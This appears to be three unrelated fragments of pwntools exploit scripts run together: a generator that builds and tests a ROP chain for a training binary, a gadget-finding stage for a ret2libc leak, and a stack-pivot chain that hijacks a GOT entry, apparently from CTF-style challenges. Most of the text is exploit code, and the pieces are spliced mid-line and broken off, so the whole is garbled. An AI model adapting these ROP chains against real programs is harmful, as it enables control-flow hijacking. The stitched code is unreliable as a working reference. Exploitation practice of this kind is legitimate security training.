def make_binary(): # junk code generation write_junk_calls("main.c", 31, 2) write_junk_calls("main.c", 22) write_junk_body("main.c", 16) subprocess.call("make", stdout=FNULL, stderr=FNULL) # input correction elf = ELF("simple_rop_2") rop = ROP(elf) win1 = elf.symbols['win_function1'] win2 = elf.symbols['win_function2'] flag = elf.symbols['flag'] POP_ONCE = (rop.find_gadget(['pop rdi', 'ret']))[0] RET = (rop.find_gadget(['ret']))[0] padding = b'A' * 24 exploit = padding + p64(win1) + p64(win2) exploit += p64(POP_ONCE) + p64(0xABADBABE) + p64(RET) + p64(flag) # rop is saved as input f = open("input", "wb") f.write(exploit) f.close() # strip it after the ropchain building so they don't have the symbols but we do subprocess.call(["strip", "simple_rop_2"], stdout=FNULL, stderr=FNULL) # TESTING BINARY f = open("flag.txt", 'r') flag = f.readline() try: output = subprocess.check_output("./simple_rop_2 < input", shell=True, stderr=subprocess.STDOUT) except Exception as e: output = str(e.output) if not flag in output: return -1 else: return 0
P.interactive() exit() ##################### #### Find Gadgets ### ##################### try: libc_func = "puts" PUTS_PLT = ELF_LOADED.plt[ 'puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: libc_func = "printf" PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget( ['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" RET = (ROP_LOADED.find_gadget(['ret']))[0] log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("ret gadget: " + hex(RET)) ######################### #### Finf LIBC offset ### ######################### def generate_payload_aligned(rop): payload1 = OFFSET + rop if (len(payload1) % 16) == 0:
1) set stack pointer to 0x7ffff7be4f10 using xchg ---rop chain--- 2) call foothold_function - this updates its entry in the .got.plt table 3) alter .got.plt address of .got.plt to be the address of the ret2win function in libpivot: - pop rax - addr_of_plt_got_foothold_function - mov rax, qword ptr [rax] - pop rbp - distance_to_plt_got of ret2win - add rax, rbp ; rax will now contain the addr of ret2win - call rax ''' POP_RAX_RET = r.find_gadget(['pop rax', 'ret'])[0] POP_RBP_RET = r.find_gadget(['pop rbp', 'ret'])[0] XCHG_RSP_RAX_RET = 0x4009bd ADD_RAX_RBP = 0x4009c4 CALL_RAX = 0x4006b0 MOV_RAX_PTR_RAX = 0x4009c0 junk = b"A" * 40 plt_foothold = l.symbols['foothold_function'] #location in libpivot.so plt_ret2win = l.symbols['ret2win'] #location in libpivot.so distance_foothold_to_ret2win = plt_ret2win - plt_foothold #relative location in libpivot.so got_foothold = e.got['foothold_function'] #.got location in ELF(pivot) pivot_foothold_function = e.symbols['foothold_function'] # foothold_function location in ELF(pivot) #input() #debug